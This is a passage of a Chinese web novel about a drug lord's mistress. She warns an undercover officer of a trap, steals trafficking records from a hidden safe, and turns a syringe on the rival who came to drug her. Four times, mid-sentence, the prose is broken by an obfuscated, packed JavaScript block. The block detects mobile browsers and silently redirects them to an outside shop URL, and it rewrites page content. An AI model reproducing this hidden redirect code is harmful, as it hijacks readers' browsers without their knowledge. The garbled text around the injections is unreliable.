这样看来，林裕这次带来约十三个人。 但她那天下车时，只见着了大概八九个。 剩下的那些人呢？ 当时还有人没下车？ 容清洛在心里思考着这些问题，面上只道：“我们不在的时候，那十四人都在做什么？” 柴婶：“其实在夫人来以前，我也没在宅子里见过这么多人。我平常只管做饭，会有专人来把装好的饭盒取走，其他的我也不太清楚。” 两人在说话间已经来到厨房，厨房里还有其他两个厨师在，容清洛便打住话题。 厨房内的用具应有尽有，一应俱全。 在柴婶的帮助下，容清洛很快在厨房支起一口大锅，备好食材，开始煮这满满一大锅腊八粥。 粥做好后，容清洛和柴婶一起把粥盛出，装进一次性餐盒，总共装好二十六份。 先给三位厨师留下三份放在厨房，剩下的容清洛都让人搬到了花厅。 之后，容清洛叫来林裕走前留给她的保镖小申，给他一份腊八粥。 容清洛平常工作有自己的保镖，但是私人行程，她一般不让那些保镖跟着。 小申虽说是林裕的保镖，不过从在花洲岛开始，林裕就会时不时地调小申出来，派他保护容清洛。 因为这个原因，容清洛跟这个小申还算比较相熟。 而小申作为林裕的人，认识林裕的许多手下。 容清洛便让小申招呼目前在裕园的所有工作人员都来领腊八粥喝，并且因为容清洛想要亲自端给每个人，所以希望大家都亲自来领，不要代领。 小申当然照办。 这期间，容清洛让柴婶先回去休息。 很快，花厅里陆续有人来领粥。 大概二十分钟以后，有八份腊八粥被领走。 来的这些人，容清洛确定，她在这几天中都陆陆续续见到过他们。 然而还剩下十四份。 只是却再没人来。 又等了一段时间，容清洛问小申：“所有人都来领了吗？” “是。裕园内目前就这么些人。”小申不好意思道，“容小姐，其实我刚才就想说，您其实做多了……” 容清洛：“当真？” 小申点头：“当真。” 容清洛：“那剩下的这些，全给你了。” 小申苦着脸：“容小姐，这腊八粥再好喝，我也一下子喝不了这么多啊。” 容清洛面无表情：“那你就把剩下的人，都叫过来，领粥。” 小申怀疑容清洛也许发现了什么，连忙推脱道：“真没别人了。” 容清洛眯起眼，上下打量着小申。 小申有点紧张。 他不能暴露老板的秘密，但也不能得罪容小姐。 毕竟，老板对容小姐很是宠爱，如果容小姐吹枕边风，他真是两边不讨好。 可谁知道容小姐竟然会突发奇想往厨房这边走啊？不是听说容小姐都没给老板做过饭吗？ 这样想着，小申又觉得这腊八粥喝得很是忐忑。 这要是让老板知道了…… 容清洛微沉的声音打断了小申心里激烈的思想斗争。 只听她道：“你老实告诉我，林裕是不是有新欢了？” 原来容小姐的怀疑是这个。 看着容小姐的怒容，小申反而松下一口气：“没有，老板身边，除了林太太，只有容小姐您。” “是吗？”容清洛冷笑道，“情人，总归不是什么好身份。” 小申有些尴尬，这话他不能接，便只好低着头装鹌鹑。 容清洛：“你真的没有骗我？” “林裕身边没有别人？” 小申保证道：“容小姐， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578061|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请您相信我。” 容清洛故意胡搅蛮缠道：“那为什么林裕不在，我连送个腊八粥都送不出去了？” “我辛辛苦苦在厨房油烟里待了那么久，竟然没人领情。” “林裕是不是让其他人都守着那个小妖精，所以他们才这么不把我放在眼里，啊？” “岂有此理，你把电话给我，我要给林裕打电话，我亲自问问他，这到底是怎么一回事。” 说着，容清洛便要去拿小申的电话。 小申连忙后退。 这动手动脚的，要是让老板看见，可还得了？ 小申情急之下只好道：“容小姐，我悄悄告诉您，您可千万别和老板说。” 容清洛脸上怒容更盛：“还说林裕没养小情人？” 小申用手掩着嘴，用气声道：“老板抓了个人，大老远专程从市里押送到这儿，剩下几个兄弟都寸步不离地看守着他，哪敢玩忽职守来领粥啊。” “老板的脾气您是知道的，我们可不敢违抗命令。” 容清洛指着桌子上摆的粥，惊讶道：“这么多人，就守着那一个人？” 小申：“再多的信息，我没那个权限知道。” 容清洛露出一副不相信的表情：“什么人啊，那么费劲儿。” “我就不信还有林裕搞不定的人。” “你别是诓骗我呢吧……” “林裕还是有小情人？” “听说是——”小申微顿，后面几个字只是做出一个口型，无声道，“警方卧底。” 容清洛差点失去表情管理，她把手背到身后，掐了自己一把，才道：“小申，我也就是争风吃醋，你胆子倒是大，连你老板都敢编排，这瞎话说出去谁信啊，林裕怎么可能扣押警方的人？” 小申：“容小姐您就别再问了。” “我今天给您说的话，您可千万装作不知道，也别再说要给剩下的人送腊八粥的话了，不然让老板知道了，我们都吃不了兜着走。” “您要记住，裕园现在就我们这些人，没有其他人。” 容清洛摊手道：“好吧，你们男人的事情，我也不懂，不问就是了。刚刚你什么也没说，我也什么都没听到。” 小申：“是。” 说着，他赶紧就要退出花厅。 容清洛：“等等。” 小申慌乱回头，生怕容清洛再整出什么幺蛾子。 容清洛：“你把这些剩下的粥拿到厨房，留着晚上给大家伙分着吃吧。” *** 容清洛现在怀疑，裕园就是林裕的另一个花洲岛。 在这园中的某个暗处，恐怕也建造着一座地牢。 而厨房每天多准备的那些饭菜，应该就是给地牢里关着的人以及看守他们的人准备的。 容清洛猜测，林裕借着送她的名义转移进来的那个卧底，极有可能就是晏行铮口中的沈飞。 既然沈飞如今不在原来的那套别墅中，那别墅中现在肯定布置的有陷阱，只等着有人跳入。 一旦晏行铮的人按照原计划在今晚行动，就是彻彻底底地踏入林裕的圈套。 因此容清洛今天必须把这个消息传递出去，阻止这一切的发生。 然而她的手机早就被林裕收走，锁在一个柜子中，并且那柜子的钥匙一直在林裕身上。 111. 生死之交 容清洛只好再次打起柴婶的主意。 但显然柴婶被叮嘱过，不能给她任何通讯工具。 此时已经是傍晚五点多。 恰好柴婶来问容清洛晚饭想吃什么。 这场大雪，一直未停。 望着纷飞的雪花，容清洛念起白居易的诗句：“绿蚁新醅酒，红泥小火炉。晚来天欲雪，能饮一杯无？” 柴婶赞叹道：“读书人就是不一样，出口成章，不像我们庄稼人，看到雪想到的都是‘冬天麦盖三层被，来年枕着馒头睡’这样的俗语。” 容清洛：“这话有什么不好，庄稼和泥土才是我们的根，大家都是肉眼凡胎，血肉之躯，谁还能真的吸风饮露、不吃五谷杂粮？” “更何况，我也算不上什么读书人。” “我呀，只是看着外面这雪下得这样大，咱们生起炉子，喝点小酒，也是别有一番滋味。” “柴婶，劳烦你今晚给我弄点下酒菜，再拿几坛好酒来。” 柴婶有些犹豫地劝道：“林先生不在，夫人您和谁喝呢？要不等林先生回来了，您和林先生一起喝？” 容清洛：“等他做什么？这雪不知什么时候就会停，美景不等人，我们自然应当今朝有酒今朝醉。” “更何况不是有你陪我吗？柴婶，你只管去拿酒，去做菜，今天晚上，你陪我喝。” 拗不过容清洛，柴婶只好去准备。 容清洛的酒量向来是不错的，哪想到柴婶的酒量也这么好。 两人喝了一会儿，一坛酒下肚，都十分清明。 容清洛说这酒喝得不过瘾，让柴婶再去拿烈酒，而且要多拿几坛。 柴婶十分豪爽，见容清洛不是不会喝酒的人，放下心来，便真去拿酒了。 趁着这个机会，容清洛快速回房间取了一个小盆，藏在餐桌底下。 桌布遮掩着，一般人都不会发觉。 柴婶拎着酒坛回来，两人一边吃菜，一边喝酒，到后来，干脆直接拿碗喝。 你一碗我一碗的，柴婶新拿来的几坛酒很快就被喝得见了底。 柴婶也晕晕乎乎地醉倒在桌上。 容清洛要不是悄悄把酒都倒进了桌下的盆里，恐怕还真是喝不过柴婶。 她轻唤柴婶几声，回应她的只有鼾声。 容清洛松下一口气，从柴婶的兜里翻出手机，根据白天偷看到的密码解开屏幕，点开短信界面。 晏行铮的联系方式，容清洛早已背得滚瓜烂熟。 在接收者处输入晏行铮的手机号码，然后容清洛从兜里拿出一张纸条，将上面的一大串数字输入对话框内。 「7442326233324393412232419442822162……3143944243」 全是阿拉伯数字，一般人一看，都会以为是垃圾信息。 但其实这是容清洛和晏行铮约定好的在没带密码本的情况下传递信息的一种方式。 这一长串数字可以被翻译成：「沈飞已被转移到裕园，今晚行动速取消，别墅有陷阱。裕园恐有地牢。项链定位即为裕园地址。」 编辑好信息以后，容清洛快速检查一遍，确认无误，点击发送。 见信息发送成功，容清洛立马删除短信记录，将手机放回到柴婶兜里，把一切恢复原样。 容清洛不知道柴婶住在哪里，便把柴婶扶到客房休息。 然后她把吃剩的饭菜和酒坛收好，装进红木提盒，送到厨房。 此时已经快九点，厨房已经没人。 容清洛在灶上把纸条烧掉，用路上摘的树叶把灰铲走，丢进院内的池塘里。 做完这一切，容清洛悄悄潜回房间，才算真正安心。 夜半时分，容清洛睡得迷迷糊糊，感觉身后有人抱住她，一下子惊醒。 林裕：“是我。” 容清洛：“不是说下山有事吗，怎么回来了？” 林裕：“你一个人在山上，我不放心，睡吧。” 容清洛才不信。 想来今夜，林裕在沈飞原本被关的别墅里布下了天罗地网，但是却并没有意料之中的大鱼咬钩。 林裕这般疑心重的人，必定担心裕园地牢里的人被劫走，这才会在给他的宝贝妹妹林晶接完风以后火急火燎地赶回来。 想到这一点，容清洛对林裕突然出现扰她清梦的行为也没有那么大怨念了。 要知道，如果今晚晏行铮等人出事，林裕是决计不会此时躺在女人身边的。 容清洛如释重负。 但她此刻毫无睡意，僵着身子在林裕的怀里许久。 直到听见身后之人睡熟的呼吸声传来，容清洛逃离林裕的怀抱，一个人缩在床的一边，才渐渐睡去。 *** 接下来，林裕在裕园又待了几天，突然接到一个电话后，便很着急地叫人备车下山。 林裕接电话时，容清洛眼尖地瞧见林裕的手机屏幕。 来电人是林晶。 林裕走后，容清洛眼皮直跳，却不知道是什么原因，她只好来到林裕平日里常待的佛堂。 也是好笑，林裕手上沾满血腥，但他住的地方却总要设一个佛堂。 容清洛跪在蒲团之上，并不乞求什么，只是努力让自己平静。 时间渐渐流逝，不知过去多久，园外远远传来吵嚷声。 容清洛皱眉起身。 走出佛堂，竟见林晶正气势汹汹地走进园中。 几年未见，林晶的嚣张还是一如往昔。 小申等人在一旁拦着林晶，却又并不敢拦得十分狠，只是不住地道：“大小姐，大小姐，您别往里面走了，里面是老板的住所，未经允许，任何人不得擅入。” 林晶指着容清洛的背影：“那女人是谁？她为何在那里？” 现在是收网的关键时刻，容清洛不欲徒生事端，所以本想避开林晶，哪想到林晶这般眼尖，竟然瞧见了她。 容清洛只当没听见，连忙向前走，准备从侧门溜出去。 林晶大喊道：“喂，你站住。” 容清洛仍想走。 奈何林晶此次来裕园，带的有人。 几个保镖向容清洛走去。 小申连忙带人护住容清洛。 容清洛只好转身，看向林晶，脸上没什么表情：“这位小姐，在此处高声喧哗，有何指教？” 林晶看清面前女子的面容，惊讶道：“竟然是你！” 容清洛唇边的微笑客气疏离：“这位小姐把我认成了谁？” 林晶绕着她打量：“我记得你，当年还是我把你送给我哥的，没想到，如今你居然还在我哥身边，你倒是有点手段啊。” 想起什么，林晶狠狠道：“算你有本事。我好不容易回国，你竟然都能把我哥从我的接风宴上叫走，连在家过夜都不肯。” “这么多年，是不是就是你挑唆我哥不让我回国的？” 见状，容清洛已经大概明白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578062|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了事情的原委以及林晶的怒气从何而来。 看来今天是林晶专门支开林裕，然后来找茬。 容清洛：“林小姐还是从自己身上找原因吧，我并不知道你回国的事情，也不知道你是哪一天的接风宴，更没有给林裕拨电话搅扰你的好事。” “林小姐想出气，怕是找错人了。” 林晶一噎：“你……” “不过，林小姐有一句话没说错。”容清洛蓦地勾起唇角，眼底有火苗在跳跃，“我能有今天，确实都要拜林小姐所赐。” “狐狸精！”林晶抬起手，就要往容清洛的脸上呼去。 容清洛背在身后的手已经蓄势待发。 她已经不是从前的季希了。 林晶只要敢动手，今天她不会让林晶完好无损地走出这个院子。 眼看着剑拔弩张的气氛一触即发，回廊上响起一道威严的声音：“晶晶，还不住手？” 二人回头。 回廊上大步流星走过来的正是林裕。 林晶以为林裕是赶回来护着容清洛，心里不高兴，但也因为诓走林裕而自知理亏，连忙上前撒娇讨好：“哥，你来啦。” 林裕从不在外人面前教训妹妹，所以便也没提林晶骗他的事情，只是面无表情地“嗯”了一声。 容清洛见状，只微微对林裕颔首，算是打过招呼，便要转身离开。 林裕适时出声：“佛堂前喧闹，总是不敬，都进去上柱香。” 容清洛只好止住步伐。 几人走进佛堂，林裕先上三炷香，接下来是林晶。 容清洛立在一侧，不发一言。 这时，门外有一黑衣人进来，在林裕耳边悄声说了句什么。 林裕点头，让那人退下。 虽然林裕面上依旧没什么表情，但容清洛明显感觉到，从刚刚见到林裕那一刻起便笼罩在这一小方空间的低气压在霎那之间消失殆尽。 这个黑衣人容清洛没见过。 想来这就是潜藏在裕园暗处的人之一。 容清洛猜测，林裕这么着急赶回来，一定是想要确定裕园地牢里的人是否都还在。 他恐怕也担心林晶被外人利用，合起伙来对付他。 容清洛想到这里，眼里闪过一丝诡异的光。 这次不是真的，那下一次呢？ 林晶上完香，轮到容清洛。 林裕的目光落在容清洛身上，容清洛弯起月牙一样的双眼浅浅一笑。 这场景落在林晶眼里，便是眉目传情。 擦身而过的瞬间，林晶低声骂了容清洛一句“狐狸精”。 不过因为有林裕在场，林晶稍微收敛一些，没有再动手动脚，只是走到林裕身边乖巧站着。 容清洛在佛前参拜。 她点燃三柱高香，敬这漫天神明。 请原谅她，终究还是没能成为一个好人。 厉鬼索命，安能困于善恶。 从踏上这条路开始，她就已经不是一个纯粹的、良善的人。 她携着深切的复仇执念，带着想让林氏兄妹付出惨痛代价的妄心妄求，早就已经沉浮在苦海之中不得解脱，远离真道。 但如果没有这份执念，她也许早就被真正地压弯脊梁，失去希望，走向死亡。 对她这样的凡夫俗子而言，好死总是不如赖活着。 有时，当一只苟活的恶鬼，比做一个无用的、失去生命的好人，似乎更有价值，也更有意义。 112. 生死之交 上香完毕，林裕对容清洛道：“你先回房间，没事不要再出来。” 闻言，林晶刚露出得意的神情，便收到来自哥哥警告的眼神。 林裕拉着林晶往外走：“我送你回去。” 林晶：“我不走。” “凭什么那个女人可以在这里住下，我却不能？” “哥你金屋藏娇，你对不起嫂嫂……” 林裕沉下脸：“林晶，你说话注意分寸。” 林晶连忙认错：“对不起，哥。” 林裕劝道：“晶晶，你是我妹妹，亲妹妹。” “你和她有什么好比的。” “她和你没有可比性。” “……” 容清洛其实没有走远，林晶嗓门又大，所以她被迫听到了两人的一些对话。 她没什么特别的感受。 她一直都非常清楚，她和林裕之间，两个人不过是各取所需，互相利用。 *** 接下来几天，林裕没有回裕园，而是在处理林氏集团的一些事情。 年底了，事情纷杂，很多事务需要他拿主意。 林晶趁着哥哥忙碌无暇顾及她，又开始搞小动作。 她找到吴则，故意在吴则面前说林氏旗下子公司签了一个很有名气的女明星，真人也很漂亮。 吴则喜欢美人，当然就问是谁。 林晶便顺势提起容清洛的名字，还怂恿道：“哥，你要是想让她陪陪你，也不是不可能，你和我哥说呀，大老板发话了，难道容清洛还敢说不愿意？” 吴则有些意动，但确实也有些犹豫：“我知道这个容清洛，实不相瞒，我早就看上她了。只是她是小晏的人。小晏到底是你哥哥的左膀右臂，我横插一脚，不妥。” 林晶不知道还有这一茬。 但她转念一想便明白过来，晏行铮肯定是她哥拿来遮掩真正和容清洛有关系之人的挡箭牌。 林晶只道：“晏行铮不过是我哥的一条狗，你怕他不成？” 吴则：“打狗也要看主人。” 林晶：“哥你放心，在你和晏行铮之间，我哥肯定选择你。你和我们是一家人，晏行铮算什么东西。” 于是，吴则还真的找机会在林裕面前要容清洛。 林裕一开始只是推脱，说朋友妻不可欺。 吴则直接将军：“老弟，你这到底是护手下，还是护女人呐？” “不会是，你也看上这个容清洛了吧？” “所以才这么难以忍痛割爱？” “也难怪了，自古英雄难过美人关，只是苦了我妹妹啊……” 话说到这个地步，林裕不能让吴则继续扯下去，要是吴则搬出爱女的吴老，林裕才是真的没法收场。 林裕：“行，你若是真的看上容清洛了，我给你想办法。” “但是有一点，大哥，这事就这一次。你尝个新鲜以后，就此罢手，不然我也不好和阿铮交待。” “你若是答应我，这事我给你办，不然，我也只好到嫂子面前诉诉苦。” 吴则：“好说，好说。” 林裕：“那你后天去裕园。” 裕园地牢里关着的也有得罪吴家的人，所以吴则当然知道那是什么地方。 他不由得皱眉道：“那儿荒山野岭的，还阴气森森，不能换个地方吗？” 林裕：“容清洛毕竟是公众人物，你做这种事难道还要到闹市区吗？” 吴则只好点头：“也行吧，为了美人，我可以忍受一切。” *** 隔天，晏行铮来给林裕汇报工作。 西南那边的大生意，林裕并没有亲自出面，他派晏行铮替他去谈的。 和上级商议过计划以后，晏行铮在去见那个买家时遇到了警察，破坏了交易，而晏行铮因为怀疑那个买家头目故意透露消息给警方，便把那个人抓了回来，交给林裕。 林裕面色沉沉：“这条线我苦心经营险这么些年，险些就因为此人而被一锅端。” “何其可恨！” “阿铮，你带着这个人跟我走。” 晏行铮的车跟在林裕后面，最终来到了裕园。 晏行铮下车：“裕哥，这里是？” 林裕：“阿铮，你是时候，该知道一些事情。以后，还有更多事情，需要你替我去做。” 最终，那个买家头目，被林裕关进了地牢。 这恰中晏行铮下怀。 晏行铮原本准备在林晶回国那天救沈飞，已经在别墅外布置好一切。 突然收到一条来自陌生号码的短信。 破译密码后，他便知道，这是容清洛发来的警报。 经过勘察，果然发现那别墅外松内紧，里面全是陷阱，他连忙取消行动。 根据项链的定位，晏行铮找到裕园。 但是裕园所在的那一片山，每隔一段距离，都有林裕的人严密把守。 陌生的车辆进入很容易被发现。 因此，晏行铮只好在为林裕办事时抓一个分量很重的人，这样林裕才会启用裕园的地牢，他才有可乘之机。 当天林裕没让晏行铮下山。 晏行铮推辞，林裕只说晏行铮前段时间辛苦了，留他在山里放松几日。 林裕还为晏行铮安排了一间单独的小院暂住，名叫兰时堂。 是夜，林裕告诉容清洛：“清洛，明天吴先生要来，为避嫌，你得提前搬出主院，不如你就先住到松翠阁。” 容清洛：“吴先生来了住哪里，他要待很久吗？” 林裕：“吴先生以往来，都住在观云馆。他一般想住多久就住多久。” 容清洛：“那你不如让我下山回家吧，我在这里待着也闷得很。更何况我还有工作没完成。” 林裕：“快过年了，在山上陪陪我，听话。” 这几个小院都分布在主院附近。 而松翠阁就在吴则住的观云馆旁边。 容清洛不知道林裕葫芦里卖的什么药，但她也没有理由推辞，只得照做。 幸好晏行铮住的兰时堂离得也不远，容清洛稍微放心一些。 第二日，吴则果真上山来了。 随之而来的，还有来看热闹的林晶。 林裕的局已经布下，自然不想林晶来蹚这趟浑水。 但林晶执意想在裕园留一晚，看看山上的雪景。 林裕没办法，只好应下，不过他把林晶住的地方安排在离吴则和晏行铮都很远的宁水居。 吴则私下悄悄问林裕：“容清洛怎么没和晏行铮住一起？” 林裕挑眉：“我倒是也可以那样安排，但大哥你愿意吗？” 吴则笑起来：“当然不愿，多谢老弟成全。” 晚饭过后，众人散去，各自回房。 容清洛直觉这两天发生的事情很诡异。 林裕一向巴不得吴则不知道她的存在。 可这一回，林裕竟然在明知吴则要来的情况下还把她留在裕园，甚至没让她和晏行铮装样子。 而且林裕今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578063|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天看她的眼神，总让她感到脊背发寒。 所以容清洛今晚吃饭十分警惕，没有多吃一口，没有多夹一筷。 之后，容清洛假装回房，迅速洗漱，关掉灯，把枕头塞在被子里装出她已经入睡的假象，然后便悄悄躲在衣柜中，静静等待。 时间一分一秒过去，大概二十分钟以后，有人悄悄打开她房间的窗户，翻了进来。 容清洛借着屋外廊上的灯光，看清那人的脸，是林晶。 只见她手里拿着什么东西，径直走向床榻。 说时迟那时快，在林晶掀开床帘的那一霎那，容清洛从衣柜破门而出，高举手上握了许久的棍棒，猛地砸向林晶的后脑勺。 林晶顿时晕倒在床上。 容清洛细细查看，认出林晶手中拿着的是注射器，里面装着不明液体。 想来，林晶是打算把这个注射进她体内。 容清洛不由得讽刺地勾起嘴角。 她果然还是应该现实一些，要坚定且狠辣地复仇。 温驯良善的羔羊，注定只会成为豺狼的盘中餐。 嘴上的信仰，天上的星光，若无手段落地，便只会是催命的屠刀。 容清洛戴上手套，从林晶手里取下注射器。 从来没有给人打过针，容清洛有点手抖。 稍加思索后，她把林晶翻过来，将液体注射进林晶的臀部。 接着，容清洛把枕头从被子里取出，让林晶面朝里侧躺在床上，并为她盖上被子。 做完这一切，容清洛深觉此地不宜久留，悄悄从林晶翻进来的那扇窗户翻了出去，把窗户掩上。 之所以不走门，是因为容清洛从里面把房门反锁上了。 如果今夜有人能从外面打开这扇门，便说明是林裕把钥匙给了那个人。 *** 松翠阁，顾名思义，院中有一棵百年古松，经霜弥茂，枝干苍老遒劲、粗壮坚固。 容清洛躲在其后，被松树和假山巨石完美地遮掩了身形。 冬夜寒冷，大雪早停，只是山上温度低，积雪迟迟未化。 天阴了这么久，容清洛实在是没想到，今夜竟然有月亮。 雪地的夜，天边几点疏星，月华冷寒似冰。 这漆黑的夜色下，有着最清冷却也最皎洁的月。 而她在复仇之路上，心中一直燃烧着最热烈也最赤诚的火焰。 所以身上虽冷，容清洛的心却并不苦寒，反而有一种心安。 夜来皎月悬，烈火岂独明。 有月色相伴，她便不是孤身一人。 容清洛默然注视着天边的月亮，回想起被林裕带来裕园前她和晏行铮在云台宫后山的对话。 良久，容清洛倏尔一笑。 当漆黑天幕里唯一的月色，恰好照在那暗夜之下正闷头赶路的人身上。 月亮可少孤寂，行者可消迷惘。 夜行如她，也想，无畏，不惧。 *** 大概又过去二三十分钟，松翠阁的院门被人推开一条缝隙。 那走进来的，正是吴则。 当看见吴则穿过庭院，拿出钥匙打开自己房间的门时，容清洛便明白，今天的事，无非就是林裕把她送给了吴则。 吴则走进房间，把门虚掩上。 容清洛蹑手蹑脚地来到门口，透过未关紧的门看向屋内的情形。 吴则并没有开灯，所以里面是一片昏暗。 容清洛只能通过声音来判断里面究竟发生了什么。 113. 生死之交 由于容清洛只听见吴则的声音，丝毫没有听见林晶的动静，容清洛怀疑，林晶带来的那只注射器里是类似迷药的东西。 里面的声响不堪入耳，容清洛不想在这里听这无用的墙角。 林裕既然把她送给吴则，那么他今夜必定不会来松翠阁，并且他还会想办法让其他人也不会来打搅他那个大舅哥的好事。 只不过，林裕找借口绊住的应该只有晏行铮。 他怕是根本没想到，以林晶对她的意见之大，竟然会纡尊降贵地主动来松翠阁。 晚上散席的时候，她隐约听见林裕邀请晏行铮去喝酒。 想起中午吃饭时听柴婶提了一嘴，说林裕让厨房往欢伯轩里多备一些好酒，晚上他要和人饮酒。 容清洛猜测，林裕此时应该就和晏行铮在欢伯轩推杯换盏。 毕竟，欢伯轩离她的松翠阁距离很远。 即便吴则在松翠阁闹出一些动静，两人在欢伯轩也听不见。 很好，容清洛要的就是这二人什么都听不见。 毕竟，离欢伯轩距离远的，可不止松翠阁。 偏僻的欢伯轩离主院也很远。 林裕如果不想让别人都知道他被戴了绿帽子，那么他一定会减少今晚在松翠阁附近出现的人。 如此这般，林裕的那些手下肯定要么随着林裕在欢伯轩听差，要么便早早地被放回去休息。 这对容清洛是个机会。 她打算趁机潜回主院，到林裕的书房碰碰运气。 要知道，前些日子里，虽然她一直住在主院，但只要林裕不在裕园的时候，书房都是锁着的，闲人免进。 容清洛推测，里面一定藏着林裕的不少辛秘。 主院离松翠阁的距离并不算远，否则林裕也不会专门和晏行铮换一个地方喝酒。 所以今夜主院附近必定人少。 而林裕以为，她和吴则都在松翠阁，晏行铮随他在欢伯轩，林晶乖乖待在宁水居，其他人又都是听他调遣的手下，那么他便有极大的可能不锁书房。 裕园虽然很大，但容清洛在这里住了小半个月，平常一直在有意识地熟悉各处屋舍，所以她对裕园的整体格局还算了解。 夜幕笼罩着整个裕园，容清洛轻手轻脚地离开松翠阁，一路隐藏在树木的暗影里，顺利地溜进主院。 林裕的书房果然没有上锁，容清洛趁着无人之际推开房门，快步进入，又飞速将书房门关紧。 容清洛拿着从林晶兜里顺来的手电筒，察看着整个书房。 只见书柜中整齐摆放着各个领域的书。 书桌上有一份林氏集团今年的年度工作报告，上面做了各种记号。 容清洛在屋内绕了几圈，并未瞧见保险箱。 时间一分一秒地流逝，容清洛焦躁地蹲在墙边，强迫自己冷静下来。 深呼吸以后，她起身，因为起得有点猛，头有些晕，手在墙上一撑，不期然间竟然将这面墙的这一小块区域像门一样推开了。 容清洛目瞪口呆。 这是她第一次在现实生活中看见密室。 她走进去，手电筒的灯光照亮漆黑一片的密闭空间，里面并无甚特别，只是一间可供休憩的小卧室。 容清洛有些失望。 这里面布置得跟雪洞一样，除了一张床，便只有一个很大的中式衣柜。 容清洛拉开衣柜的门，里面只挂了几件衣服。 这几件衣服，容清洛从未见林裕穿过。 挂在这里，倒像是在掩饰着什么。 容清洛把衣服拨开，发现衣柜里面的木板上布满奇异的花纹，边缘处甚至有一块长方形的凹槽，像是……内扣式拉手。 她试探性地拉了一下。 这竟然是个推拉门。 拉开门后，展现在容清洛面前的，是一个卧室大小的密闭空间。 这一次没让她失望，里面摆着一个保险箱。 容清洛将林裕、林晶、吴家女的生日都试了一个遍，但都没能解开。 电光火石之间，突然福至心灵，容清洛输入林裕和吴家女结婚的日期，竟然解码成功。 大概两三年前，有一天晚上，林裕对她特别残暴。 后来她才知道，那天是林裕的结婚纪念日。 看来林裕始终牢记着这个日子。 也许他是觉得为权势做鸭多少有些耻辱，所以时刻提醒自己不能忘掉？ 容清洛摇摇头，挥开这些杂乱的思绪。 保险箱里除了一些很值钱的物件以外，容清洛还发现一个移动硬盘。 她没动其他东西，只是将这个硬盘取了出来。 走出暗室时，容清洛思虑再三，又返回到保险箱前，拿了几根金条。 万一她被发现了，只说是缺钱了，也许能躲过一劫。 她将暗室恢复原样，退出暗室，来到林裕的书桌前，打开电脑。 将硬盘连接上电脑，容清洛快速浏览里面的多个文件夹。 这赫然就是林裕这么多年制毒贩毒的所有交易记录。 容清洛心里一惊。 她连忙删除打开文件的记录，关闭电脑，将书房里她来过的痕迹抹去，把移动硬盘藏进衣服最里面的兜里，溜出书房。 她必须得赶紧去找晏行铮，这些资料都是关键性证据，她保不住，得给晏行铮才行。 容清洛有些慌张。 现在这个情形，林裕都能把她拱手送到别人床上，可见林裕是多么利益至上的人。 要是让林裕知道她拿到了他的把柄，难保林裕不会用些残忍的手段来折磨她。 容清洛突然觉得她今晚有些冲动了。 但是做都做了，哪还容她后悔？ 她待在林裕身边这么多年，等的不就是这么一天？ 容清洛从路旁的灌木丛上捞起一把雪，往脸上一拍，冰得她一个激灵。 灵台清明许多，容清洛看了眼手表，此时已经十一点多了。 林裕随时有可能回主院，她不能再耽搁，只能先去兰时堂等晏行铮。 好在晏行铮平时并不喜欢身边跟着太多人，他的院子只住着他一人。 但容清洛虽然进了兰时堂，却进不了晏行铮的房间。 她又怕被人发现，只好躲在院子里作为景观的巨石后面。 大概快十二点的时候，兰时堂的院门终于被人推开。 晏行铮醉醺醺地走进来。 扶着他把他送回来的人是林裕的手下，那人想要送晏行铮进屋，晏行铮没让，把那人赶回去了。 院门再次紧闭。 容清洛蹲在假山后面，想着等晏行铮进屋以后她再伺机出现，以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578064|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 免在院中闹出什么动静被还没走远的林裕的人听见。 可是晏行铮喝醉了，他能处理这件事吗？ 容清洛正皱眉思索着目前的状况，脑袋顶上却乍然响起一道声音。 晏行铮：“你为什么在这儿？” 容清洛一僵，回头瞧见晏行铮清明的双眼，里面哪有醉意。 “你又为什么在这儿？”容清洛指着晏行铮房间的方向道，“你不是在那儿吗？” 晏行铮：“我一进门就发现院门被人动过，有人趁我不在时进了这院子。当然要看看是谁深夜造访。” 容清洛：“林裕不是喊你去喝酒吗？你没醉啊？” 